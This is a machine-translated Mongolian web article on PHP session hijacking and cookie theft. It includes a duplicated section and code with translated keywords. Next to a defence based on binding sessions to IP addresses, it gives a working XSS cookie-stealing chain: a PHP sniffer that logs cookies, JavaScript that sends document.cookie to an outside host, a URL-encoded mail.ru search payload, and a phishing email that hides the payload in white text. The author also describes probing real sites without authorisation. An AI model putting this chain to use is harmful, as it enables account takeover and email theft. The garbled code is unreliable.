Сеанс хулгай. PHP дээр аюулгүй програмчлал. Сеанс хулгай Күүки хулгай

Мэдээ 09.12.2020
Мэдээ
  1. Хэрэглэгчээс хэрэглэгчийн нэр, нууц үг асуух болно.
  2. Зөвшөөрөл амжилттай болвол "зөвшөөрөл амжилттай" гэсэн утгатай шинэ сесс үүсгэнэ.
  3. Хэрэглэгчид өвөрмөц танигч (SID) оноосон бөгөөд үүнийг урьдчилан таамаглах боломжгүй, тиймээс сонгох боломжгүй :).
  4. SID нь хөтчийн күүкид бичигдсэн эсвэл хөтчийн хаягийн мөрөнд дамждаг (хэрэв күүки идэвхгүй бол).

Амжилттай зөвшөөрлийн үр дүнд скрипт нь $_SESSION супер глобал массиваас хувьсагчийн утгуудад хандах эрхтэй бөгөөд үүний тусламжтайгаар скрипт нь зарим эх сурвалжид, жишээлбэл, сайтын удирдлагын самбар руу нэвтрэх боломжийг олгодог.

Асуудал нь хэрэв халдагчид өөр хэрэглэгчийн SID-г олж мэдсэн бол үүнийг өөрийн күүки эсвэл хөтчийн хаягийн мөрөнд орлуулж, энэ хэрэглэгчийн эрхээр сайт руу орж болно.

Сэтгэгдэл

Хэдэн жилийн өмнө банкны дансны алсын удирдлагын систем хамгийн сүүлд ашигласан утга дээр нэгийг нэмснээр өвөрмөц дугаар (SID) үүсгэсэн үед хэд хэдэн дуулиан гарч байсан. Түргэн зөвшөөрлийн үр дүнд 40346 ба 40348 гэсэн хоёр SID утгыг гаргав. 40347 дугаарыг орлуулснаар хэн нэгний данс руу нэвтрэх боломжтой болсон :).

Одоогийн байдлаар SID нь тоолууртай холбоогүй тоо, үсгийн өвөрмөц дарааллыг илэрхийлдэг. Гэхдээ халдагч өөр хэн нэгний SID-г хэрхэн олж мэдэх вэ?

Хамгийн түгээмэл хоёр сонголт байдаг:

1. Жишээлбэл, хуралдааны эзэн өөрөө үүнийг харуулсан бөгөөд энэ төрлийн холбоосыг форум эсвэл зочны дэвтэр дээр санамсаргүйгээр орхисон.

http://forum.dklab.ru/?sid=

Энэ хаяг руу очих нь автоматаар халдагчдад танигчтай сессийг хуваарилсан хэрэглэгчийн эрхийг олгоно.
Мэдээжийн хэрэг, хэсэг хугацааны дараа үйл ажиллагаа байхгүй бол хэрэглэгчийн сесс устгагдана. Тиймээс халдагч яарах хэрэгтэй :). Нөгөөтэйгүүр, аалз (аалз) -ын нийт тархалт нь ийм холбоосыг зорилготой автомат хайлтыг зохион байгуулах боломжийг олгодог.

2. Хөтчийн мөрөнд сессийг тодорхой заагаагүй ч Cookies-д хадгалагдсан байсан ч. Халдагчид танигчийг эзэмших боломжтой хэвээр байна. Хамгийн энгийн зочны номын жижиг скриптийг авч үзье.



Текст:


addmsg.php зохицуулагчийн агуулгыг доор харуулав

if(!empty($_POST [ "текст" ]))
{
$line = str_replace("/ ?
/s" , " " , $_POST [ "текст" ]);
//өгөгдлийн сан эсвэл файл руу бичих
}
өөр
{
гарах(
"Алдаа");
}
?>

Скрипт нь тэмдэгтүүдийг хөрвүүлдэг htmlspecialchars() функцийн дуудлагыг тодорхой орхигдуулсан болохыг анхаарна уу.< в < и >Үүний үр дүнд халдагч ямар ч HTML шошго болон JavaScript скриптийг текстэнд оруулах боломжтой.

Тэгээд бид юу авах вэ? Жижиг хяналт (хөтөчид мессежийг харуулахын өмнө зарим нэг htmlspecialchars () орхигдуулсан бололтой) нь халдагчийн хуудсыг шинэ цонхонд ачаалж, күүки дэх утгыг шилжүүлэх боломжийг олгодог.
Энэ төрлийн эмзэг байдлыг шийдвэрлэхийн тулд "зөвшөөрөгдөөгүй бүх зүйлийг хориглоно" гэсэн зарчмаар ажилладаг "тогтвортой" аргуудыг ашиглах нь зүйтэй. Та SID-г нууж, текстийг олон үе шаттай шалгалтанд оруулах ёсгүй - энэ тохиолдолд алдаа гаргах магадлал зөвхөн нэмэгддэг. Энэ тохиолдолд илүү найдвартай нь SID-г сессийг эзэмшдэг хэрэглэгчийн IP хаягтай холбох арга юм. Энэ аргыг phpBB гэх мэт олон алдартай форумд өргөн ашигладаг.
Зөвшөөрлийн скрипт

хэрэв ( нэвтрэх болон нууц үг зөв байна)
{
$_SESSION [ "эрх олгосон" ] = үнэн ;
$_SESSION [ "ip" ] = $_SERVER [ "REMOTE_ADDR" ];
}
?>

Дараа нь тодорхой нөөцөд хандах эрхийг олгодог скрипт нь дараах кодыг агуулж болно

хэрэв (!хоосон($_SESSION [ "эрх олгосон" ]) &&
$_SESSION [ "ip" ] == $_SERVER [ "REMOTE_ADDR" ])
{
// Нөөцөд хандах эрх нээлттэй байна.
}
else die("Хандалтыг хориглосон." );
?>

Тэдгээр. одоо зөвхөн IP хаяг нь зөвшөөрлийн үед серверт дамжуулсан IP хаягтай таарч байгаа хэрэглэгч л энэ сесстэй ажиллах боломжтой. Хэрэв халдагч сессийг тасалвал тэр өөр IP хаягтай байна :) - тиймээс түүнд хандах эрх нь хаагдах болно.

Энэ арга нь бүх нийтийнх биш бөгөөд сул талуудтай.

  1. Хэрэв хэрэглэгч болон халдагчид нийтлэг прокси серверээр дамжуулан интернетэд нэвтэрч байвал тэд нэг нийтлэг IP хаягтай байх болно (энэ нь их дээд сургууль, үйлдвэр болон бусад томоохон байгууллагуудын сүлжээнд ердийн зүйл юм), жишээлбэл. Хүн бүр дор хаяж дээрх аргуудаар хөршийнхөө SID-г хулгайлж чадна.

Мэдээллийн аюулгүй байдлын асуудалд зориулсан үнэ төлбөргүй арга хэмжээнд оролцохыг санал болгов. Энэ арга хэмжээ манай хотод болсон тул би заавал тийшээ явах хэрэгтэй гэж шийдсэн. Эхний хичээлийг XSS гэх мэт сайтуудын эмзэг байдалд зориулав. Хичээлийн дараа би олж авсан мэдлэгээ бодит нөхцөлд нэгтгэх хэрэгтэй гэж шийдсэн. Би өөртөө зориулж хоттой холбоотой хэд хэдэн сайтыг сонгож, скриптээ бүх хэлбэрт оруулахыг хичээж эхлэв. Ихэнх тохиолдолд скриптийг шүүсэн. Гэхдээ "анхаарал" ажиллаж, миний мессеж гарч ирэв. Би олсон сул талыг администраторуудад мэдэгдсэн бөгөөд тэд бүгдийг хурдан зассан.

Ийм өдрүүдийн нэгэнд би mail.ru дээр шинэ захидал шалгаж байхдаа шуудангийн хайрцагнаас захидал хайх маягттай таарав. Хааяа энэ хайлтыг ашиглан хуучин захидлуудаасаа өөрт хэрэгтэй зүйл олдог байлаа. За, сүүлийн хоёр өдөр би "анхаарал"-аа хаа сайгүй оруулснаас хойш энэ хайлтын маягт руу гар минь рефлексээрээ хүрч ирлээ. Би скрипт кодоо бичээд Enter дарна. Дэлгэц дээр танил мессежийг хараад гайхсанаа төсөөлөөд үз дээ ...


Нээлттэй InfoSec өдрүүдийн лекц дээр илтгэгч хэлэхдээ, программистууд ийм төрлийн эмзэг байдлын талаар нэлээд эргэлзэж байна, тэд "Анхаарах уу? За яахав? Энэ аюултай биш" гэжээ. Хэрэв бусад сайтууд дээр би зөвхөн энэ цонхон дээр өөрийн зурваст сэтгэл хангалуун байсан бол энэ тохиолдолд би цаашаа явж, ийм "анхаарал" юу болохыг харуулахаар шийдсэн.

Тиймээс, скрипт ажилладаг бөгөөд энэ нь сул тал байгаа гэсэн үг юм. Тиймээс та өөр скрипт ажиллуулахыг оролдож болно. Жишээлбэл, өөр хэрэглэгчийн күүкиг бидэнд дамжуулдаг скрипт. Скрипт ажиллахын тулд бид хэрэглэгчийг өөрийн скриптийг ажиллуулахыг албадах хэрэгтэй. Үүнийг түүнд тохирох холбоос бүхий захидал илгээх замаар хийж болно, түүн дээр дарсны дараа шуудангийн хайрцгийг хайж, бидэнд хэрэгтэй кодыг гүйцэтгэх болно.

Эмзэг байдлын механикийг ойлгохын тулд хэсэг хугацаа, маш их туршилт хийсэн. Заримдаа скрипт ажиллаж, заримдаа шүүгдэж байсан. Хэсэг хүчин чармайлт гаргасны дараа, эмпирик байдлаар, үсэг хайх нь эерэг үр дүнд хүрсэн тохиолдолд л скрипт 100% ажилладаг болохыг олж мэдсэн. Өөрөөр хэлбэл, хэрэглэгч манай скриптээр хайлт хийх үед түүний шуудангийн хайрцагт заасан параметрийн дагуу дор хаяж нэг үсэг байх шаардлагатай. Үүнийг тохируулах нь тийм ч хэцүү биш юм.

хэрэв (isset($_GET["күүки"]))
{
$text = "Шинэ күүки "-аас хүлээн авна. $_SERVER["REMOTE_ADDR"] ." дээр ". огноо("l jS \of F Y h:i:s A");
$текст .= "\n".str_repeat("=", 22) . "\n". $_GET["күүки"]."\n".str_repeat("=", 22)."\n";
$файл = fopen("sniff.txt", "a");
fwrite($файл, $текст);
fclose($файл);
}
?>

Мөн "анхаарал" -ын оронд күүкиг манай үнэрлэгч рүү шилжүүлэх скрипт хэрэгтэй. Бид энэ скриптийг тусдаа файлд бичиж, хайлтандаа байршуулах болно. Би шаардлагатай код бүхий test.js файлыг үүсгээд хостинг руу байршуулсан. Скрипт код нь дараах байдалтай байна.

Img=newImage();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
функц F() (
байршил="http://www.solife.ru";
}
setTimeout(F, 5000);

Би энд юу тайлбарлахыг хүсч байна. Өөрсдийгөө халдагчийн оронд тавиад үзье. Хэрэглэгч холбоос дээр дарах шаардлагатай. Түүнийг яаж ийм болгох вэ? Та алтны уулс амлаж, тэдгээрийг авахын тулд манай сайтын холбоосыг дагах хэрэгтэй. Гэхдээ бүтэхгүй гэж бодож байна. Хүмүүс үүн дээр байхаа больсон (би өөрөө ийм захидлуудыг уншихгүйгээр байнга устгадаг). Тиймээс байгальд байсаар байгаа учраас бид хүний ​​өрөвдөх сэтгэлээр тоглох болно. Устгасан амьтдыг аврахын төлөө сайт дээр санал өгөхийг бид танаас хүсэх болно. Эхлээд бид күүки авч, дараа нь хэрэглэгчийг санал өгөх сайт руу дахин чиглүүлэх болно. Дахин чиглүүлэх хугацааг 5 секунд гэж тохируулсан, эс тэгвээс күүки нь үнэрлэгч рүү дамжуулах цаг байхгүй байсан тул хэрэглэгчийг амьтдын тухай сайт руу шууд шилжүүлсэн. "Анхааруулга"-ын оронд би дараах скриптийг ашигласан:

Зохиолууд нь дуусмагц би захидал бичиж эхлэв. Дараах агуулгатай болсон.


Энэ нь нэлээд эелдэг байсан ч би нөхцөл байдлыг хамгийн бодит байдалд ойртуулахыг хичээсэн. Захидлын төгсгөлд скрипт бүхий мөр нэмэгдсэн тул хайлт хийхэд бидний захидал олдох болно. Мөр нь шаардлагагүй асуулт үүсгэхгүйн тулд би үүнийг цагаанаар будсан. Би мөн "http" гэсэн үгэнд хоосон зай тавьж, мөрийг танихгүй, холбоос болгон хувиргахгүй. Үгүй бол скриптийн мөр нь цагаан фонтоор бичигдсэн байсан ч холбоосыг хүлээн авагч тал дээр цэнхэр өнгөөр ​​тодруулах бөгөөд бидэнд энэ шаардлагагүй болно. Ухаалаг хайлт нь зайнаас үл хамааран энэ мөрийг олж таних болно.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Скриптийн хувьд би URL кодчилол ашигласан тул юу ч шүүгдээгүй. Би мөн хайлтын хувьд "q_folder=0" параметрийг нэмсэн бөгөөд ингэснээр хайлт Ирсэн имэйл хавтсанд явагдана.

Захидал бэлэн байна, бид илгээнэ үү. Би хоёр дахь шуудангийн хайрцгаа хүлээн авагчтай ижил үйлчилгээнд ашигласан. Бид нөгөө хайрцагт юу ирснийг хардаг.

Манай скриптийн текст арын дэвсгэртэй холилдсон тул харагдахгүй байна. Холбоос дээр дараад юу болохыг харцгаая. Бидний тохируулсан параметрээр хэрэглэгч имэйлийн хайлтын илэрц рүү шилждэг. Бидний илгээсэн захидал хайлтын үр дүнд харагдаж байна. Энэ үед манай скрипт аль хэдийн ажиллаж, хэрэглэгчийн күүкийг үнэрлэгч рүү илгээсэн. 5 секундын дараа (хугацаа нь скриптийн тохиргооноос хамаарна) хэрэглэгч санал өгөх сайт руу дахин чиглэгддэг.

Би sniff.txt файлаа шалгана:

Миний зорилго бол бусдын хайрцгийг хулгайлах, тэдэнд хандах эрх олж авах явдал биш учраас би энд түүхийг дуусгая. Гэхдээ онолын хувьд та жигнэмэгээ өөр хүнийхээр сольж, хэн нэгний шуудангийн хайрцагт хандах боломжтой. Ерөнхийдөө хэрэв халдлага үйлдэгч бай руу гал тавьсан бол тэр хүлээн авсан мэдээллийн хэрэглэгдэхүүнийг олох болно.

Би Сергей Беловт баярлалаа (

  1. Хэрэглэгчээс хэрэглэгчийн нэр, нууц үг асуух болно.
  2. Зөвшөөрөл амжилттай болвол "зөвшөөрөл амжилттай" гэсэн утгатай шинэ сесс үүсгэнэ.
  3. Хэрэглэгчид өвөрмөц танигч (SID) оноогдсон бөгөөд үүнийг урьдчилан таамаглах боломжгүй, тиймээс сонгох боломжгүй :).
  4. SID нь хөтчийн күүкид бичигдсэн эсвэл хөтчийн хаягийн мөрөнд дамждаг (хэрэв күүки идэвхгүй бол).

Амжилттай зөвшөөрлийн үр дүнд скрипт нь $_SESSION супер глобал массиваас хувьсагчийн утгуудад хандах эрхтэй бөгөөд үүний тусламжтайгаар скрипт нь зарим эх сурвалжид, жишээлбэл, сайтын удирдлагын самбар руу нэвтрэх боломжийг олгодог.

Асуудал нь хэрэв халдагчид өөр хэрэглэгчийн SID-г олж мэдсэн бол үүнийг өөрийн күүки эсвэл хөтчийн хаягийн мөрөнд орлуулж, энэ хэрэглэгчийн эрхээр сайт руу орж болно.

Сэтгэгдэл

Хэдэн жилийн өмнө банкны дансны алсын удирдлагын систем хамгийн сүүлд ашигласан утга дээр нэгийг нэмснээр өвөрмөц дугаар (SID) үүсгэсэн үед хэд хэдэн дуулиан гарч байсан. Түргэн зөвшөөрлийн үр дүнд 40346 ба 40348 гэсэн хоёр SID утгыг гаргав. 40347 дугаарыг орлуулснаар хэн нэгний данс руу нэвтрэх боломжтой болсон :).

Одоогийн байдлаар SID нь тоолууртай холбоогүй тоо, үсгийн өвөрмөц дарааллыг илэрхийлдэг. Гэхдээ халдагч өөр хэн нэгний SID-г хэрхэн олж мэдэх вэ?

Хамгийн түгээмэл хоёр сонголт байдаг:

1. Жишээлбэл, хуралдааны эзэн өөрөө үүнийг харуулсан бөгөөд энэ төрлийн холбоосыг форум эсвэл зочны дэвтэр дээр санамсаргүйгээр орхисон.

http://forum.dklab.ru/?sid=

Энэ хаяг руу очих нь автоматаар халдагчдад танигчтай сессийг хуваарилсан хэрэглэгчийн эрхийг олгоно.
Мэдээжийн хэрэг, хэсэг хугацааны дараа үйл ажиллагаа байхгүй бол хэрэглэгчийн сесс устгагдана. Тиймээс халдагч яарах хэрэгтэй :). Нөгөөтэйгүүр, аалз (аалз) -ын нийт тархалт нь ийм холбоосыг зорилготой автомат хайлтыг зохион байгуулах боломжийг олгодог.

2. Хөтчийн мөрөнд сессийг тодорхой заагаагүй ч Cookies-д хадгалагдсан байсан ч. Халдагчид танигчийг эзэмших боломжтой хэвээр байна. Хамгийн энгийн зочны номын жижиг скриптийг авч үзье.



Текст:


addmsg.php зохицуулагчийн агуулгыг доор харуулав

if(!empty($_POST [ "текст" ]))
{
$line = str_replace("/ ?
/s" , " " , $_POST [ "текст" ]);
//өгөгдлийн сан эсвэл файл руу бичих
}
өөр
{
гарах("Алдаа");
}
?>

Скрипт нь тэмдэгтүүдийг > болгож хувиргадаг htmlspecialchars() функцийн дуудлагыг тодорхой орхигдуулдаг бөгөөд үүний үр дүнд халдагч ямар ч HTML шошго болон JavaScript скриптүүдийг текстэнд оруулах боломжтой гэдгийг анхаарна уу.

Тэгээд бид юу авах вэ? Жижиг хяналт (хөтөчид мессежийг харуулахын өмнө зарим нэг htmlspecialchars () орхигдуулсан бололтой) нь халдагчийн хуудсыг шинэ цонхонд ачаалж, күүки дэх утгыг шилжүүлэх боломжийг олгодог.
Энэ төрлийн эмзэг байдлыг шийдвэрлэхийн тулд "зөвшөөрөгдөөгүй бүх зүйлийг хориглоно" гэсэн зарчмаар ажилладаг "тогтвортой" аргуудыг ашиглах нь зүйтэй. Та SID-г нууж, текстийг олон үе шаттай шалгалтанд оруулах ёсгүй - энэ тохиолдолд алдаа гаргах магадлал зөвхөн нэмэгддэг. Энэ тохиолдолд илүү найдвартай нь SID-г сессийг эзэмшдэг хэрэглэгчийн IP хаягтай холбох арга юм. Энэ аргыг phpBB гэх мэт олон алдартай форумд өргөн ашигладаг.
Зөвшөөрлийн скрипт

хэрэв ( нэвтрэх болон нууц үг зөв байна)
{
$_SESSION [ "эрх олгосон" ] = үнэн ;
$_SESSION [ "ip" ] = $_SERVER [ "REMOTE_ADDR" ];
}
?>

Дараа нь тодорхой нөөцөд хандах эрхийг олгодог скрипт нь дараах кодыг агуулж болно

хэрэв (!хоосон($_SESSION [ "эрх олгосон" ]) &&
$_SESSION [ "ip" ] == $_SERVER [ "REMOTE_ADDR" ])
{
// Нөөцөд хандах эрх нээлттэй байна.
}
else die("Хандалтыг хориглосон." );
?>

Тэдгээр. одоо зөвхөн IP хаяг нь зөвшөөрлийн үед серверт дамжуулсан IP хаягтай таарч байгаа хэрэглэгч л энэ сесстэй ажиллах боломжтой. Хэрэв халдагч сессийг тасалвал тэр өөр IP хаягтай байна :) - тиймээс түүнд хандах эрх нь хаагдах болно.

Энэ арга нь бүх нийтийнх биш бөгөөд сул талуудтай.

  1. Хэрэв хэрэглэгч болон халдагчид нийтлэг прокси серверээр дамжуулан интернетэд нэвтэрч байвал тэд нэг нийтлэг IP хаягтай байх болно (энэ нь их дээд сургууль, үйлдвэр болон бусад томоохон байгууллагуудын сүлжээнд ердийн зүйл юм), жишээлбэл. Хүн бүр дор хаяж дээрх аргуудаар хөршийнхөө SID-г хулгайлж чадна.
  2. Хэрэв хэрэглэгч модем ашиглаж байгаа бөгөөд холболт тасалдсан бол холболт сэргэсний дараа түүнд өөр IP хаяг оноох магадлалтай. Хэрэглэгч халдагчдын эгнээнд ялгаваргүй элссэн бол тааламжгүй гайхаж магадгүй (тиймээс хамгаалалтын системд ухамсрын төлөө заналхийлэл, уриалга бичих нь үнэ цэнэтэй зүйл биш юм - ийм системүүд бас алдаатай байдаг). Сүүлчийн сул тал нь форумд тохиолддог бөгөөд зочдод урт хариулт бичихдээ интернетийг унтрааж, офлайнаар ажилладаг зуршилтай байдаг. "Хариу бичих" товчийг дарснаар халдагчийн бичсэн текстийг хадгалахыг хэн ч тоодоггүй тул бичсэн бүх мэдээлэл алдагдах болно :))).

Гарах: (эсвэл хагас гарц) Зөвхөн IP хаягийн эхний 3 оронтой эсэхийг шалгана уу, SID хулгайлах магадлал статистикийн хувьд бага хэвээр байгаа боловч ихэнх тохиолдолд энэ нь холболтыг салгахад илүү зөөлөн хандах боломжийг олгодог, учир нь үйлчилгээ үзүүлэгчдийг ихэвчлэн хуваарилдаг. Зөвхөн сүүлийн цифр нь өөрчлөгддөг IP хаягуудын тасрахгүй муж.

Күүки гэж юу вэ?

http сервер нь хэрэглэгчийн компьютер дээр зарим текст мэдээллийг хадгалах, дараа нь түүнд хандах боломжийг олгодог механизм байдаг. Энэ мэдээллийг күүки гэж нэрлэдэг. Үнэн хэрэгтээ күүки бүр нь хос юм: параметрийн нэр ба түүний утга. Күүки бүрд хамаарах домэйныг мөн оноосон. Аюулгүй байдлын үүднээс бүх хөтчүүдэд http сервер нь зөвхөн өөрийн домэйн күүки рүү хандах эрхтэй. Нэмж дурдахад күүки нь хүчинтэй байх хугацаатай байж болох бөгөөд энэ тохиолдолд хөтчийн бүх цонх хаалттай байсан ч энэ өдрийг хүртэл компьютер дээр хадгалагдах болно.


Күүки яагаад чухал вэ?

Бүх олон хэрэглэгчийн системд күүки нь хэрэглэгчийг танихад ашиглагддаг. Өөрөөр хэлбэл, хэрэглэгчийн үйлчилгээтэй одоогийн холболт, хэрэглэгчийн сесс. Хэрэв хэн нэгэн таны күүкиг таньсан бол таны өмнөөс нэвтэрч болно. Учир нь одоогийн байдлаар маш цөөхөн Интернэт эх үүсвэр нь нэг хэрэглэгчийн сессийн үеэр IP хаягийн өөрчлөлтийг шалгадаг.


Күүкийг хэрхэн өөрчлөх, өөрчлөх вэ?

Хөтөч хөгжүүлэгчид күүкийг засварлах зориулалттай суулгасан хэрэгслээр хангадаггүй. Гэхдээ та ердийн тэмдэглэлийн дэвтэр (тэмдэглэлийн дэвтэр) -тэй хамт байж болно.


Алхам 1: Текст бүхий текст файл үүсгэ

Windows бүртгэлийн засварлагч хувилбар 5.00



@="C:\\IE_ext.htm"

Бид үүнийг IE_ext.reg нэрээр хадгалдаг

Алхам 2: Үүсгэсэн файлыг ашиглан Windows бүртгэлд өөрчлөлт оруулна уу.

Алхам 3: Текст бүхий текст файл үүсгэ

< script хэл = "javascript">
external.menuArguments.clipboardData.setData("Текст" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru";
анхааруулга(гадаад. цэсАргументууд.баримт бичиг.күүки);


Үүнийг C:\IE_ext.htm болгон хадгална уу

Алхам 4: Бид сонирхож буй вэбсайт руу очно.

Алхам 5: Хуудасны хоосон зай дээр хулганы баруун товчийг дараад цэсийн зүйлийг сонгоно уу "Күүкитэй ажиллах". Түр санах ойд хандахыг зөвшөөрөх. Таны энэ сайтад зориулсан күүкиг санах ойд байршуулах болно. Та тэдний тэмдэглэлийн дэвтэр (тэмдэглэлийн дэвтэр) буулгаж, харж болно.


Алхам 6: Зарим күүки солихын тулд C:\IE_ext.htm файлыг солих хэрэгтэй туршилтын нэржигнэмэгийн нэрээр, туршилтын үнэ цэнэ- түүний утга учир, testdomain.ru- вэбсайтын домайн руу. Шаардлагатай бол үүнтэй төстэй мөрүүдийг нэмнэ үү. Хяналтад хялбар болгох үүднээс би өөрчлөлтийн өмнө болон дараа нь одоогийн күүкиний гаралтыг скриптэд нэмсэн: анхааруулга(гадаад. цэсАргументууд.баримт бичиг.күүки);

Алхам 7: 5-р алхамыг дахин ажиллуулаад хуудсыг дахин сэргээнэ үү.

Доод шугам: бид шинэчилсэн күүки бүхий энэ интернет нөөц рүү очих болно.

JavaScript ашиглан күүки хэрхэн хулгайлах вэ?

Хэрэв халдагч хохирогчийн компьютер дээр дурын JavaScript скриптийг ажиллуулах арга замыг олж чадсан бол одоогийн күүкиг амархан уншиж чадна. Жишээ:


varstr=document.cookie;

Гэхдээ тэр үүнийг өөрийн сайт руу шилжүүлэх боломжтой болов уу, учир нь миний өмнө дурдсанчлан JavaScript скрипт нь нэмэлт баталгаажуулалтгүйгээр өөр домэйнд байрлах сайт руу нэвтрэх боломжгүй юм уу? JavaScript скрипт нь ямар ч http сервер дээр байрлах дурын зургийг ачаалах боломжтой болж байна. Үүний зэрэгцээ татаж авах хүсэлтийн текстэн мэдээллийг энэ зураг руу шилжүүлээрэй. Жишээ: http://hackersite.ru/xss.jpg?text_infoХэрэв та энэ кодыг ажиллуулбал:

varimg = newImage();

img.src= "http://hackersite.ru/xss.jpg?"+ encodeURI(document.cookie);


дараа нь күүки нь "зураг" татаж аваад халдагчид "үлдээх" хүсэлтэд байх болно.

"Зураг" байршуулах ийм хүсэлтийг хэрхэн зохицуулах вэ?

Халдагчид зөвхөн php дэмжлэгтэй хостинг олж, дараах кодыг байрлуулах хэрэгтэй.

$uid=urldecode($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt", "a");
fputs($fp,"$uid\n");
fclose($fp);
?>

Дараа нь энэ скриптийн бүх асуулгын параметрүүд файлд хадгалагдах болно log.txt. Энэ нь зөвхөн өмнө нь тайлбарласан JavaScript скрипт дээр л үлддэг http://hackersite.ru/xss.jpgэнэ php скрипт рүү очих зам.


Үр дүн

Би XSS-ийн эмзэг байдлыг ашиглах хамгийн энгийн аргыг л харуулсан. Гэхдээ энэ нь олон хэрэглэгчтэй интернет сайтад дор хаяж нэг ийм эмзэг байдал байгаа нь халдагчид өөрийн нөөцийг таны өмнөөс ашиглах боломжийг олгодог гэдгийг баталж байна.



Бид уншихыг зөвлөж байна

Топ